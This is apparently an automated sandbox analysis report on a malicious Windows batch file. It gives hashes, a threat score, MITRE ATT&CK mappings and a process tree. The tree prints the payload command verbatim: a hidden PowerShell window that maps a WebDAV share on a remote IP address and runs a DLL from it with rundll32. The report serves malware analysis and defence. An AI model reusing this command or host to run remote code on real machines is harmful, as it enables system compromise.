159c63fd55f78213a6a7787bc0ff912884232adeb6202e76fe4e5c357b79802d

Analysis

max time kernel
119s
max time network
121s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
15/07/2024, 05:55

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General

Target

1803324061565210265.bat
Size

2KB
MD5

e3a3f489f78dac718fb3b193b643a565
SHA1

795443474290ece121ccb5cff0f100715b487d25
SHA256

159c63fd55f78213a6a7787bc0ff912884232adeb6202e76fe4e5c357b79802d
SHA512

0b4512166a3bed0a45225959b7353fd9d8d09721a67edcecb18855b38b8383ca706a50c66afcced996e7f7c0dad51e7761d7ef4a4d1aa607c9b6ae1599fe3ab0

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3000	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
3000	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3000	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe
2916	wordpad.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2916	2972	cmd.exe	31
PID 2972 wrote to memory of 2916	2972	cmd.exe	31
PID 2972 wrote to memory of 2916	2972	cmd.exe	31
PID 2972 wrote to memory of 3000	2972	cmd.exe	32
PID 2972 wrote to memory of 3000	2972	cmd.exe	32
PID 2972 wrote to memory of 3000	2972	cmd.exe	32
PID 3000 wrote to memory of 2804	3000	powershell.exe	34
PID 3000 wrote to memory of 2804	3000	powershell.exe	34
PID 3000 wrote to memory of 2804	3000	powershell.exe	34
PID 3000 wrote to memory of 2176	3000	powershell.exe	35
PID 3000 wrote to memory of 2176	3000	powershell.exe	35
PID 3000 wrote to memory of 2176	3000	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1803324061565210265.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2972
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2916
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\470.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:2804
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\470.dll entry
    3⤵
    PID:2176

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2972-16-0x0000000002300000-0x0000000002400000-memory.dmp

Filesize
1024KB

Download
memory/2972-17-0x0000000002300000-0x0000000002400000-memory.dmp

Filesize
1024KB

Download
memory/3000-24-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/3000-25-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download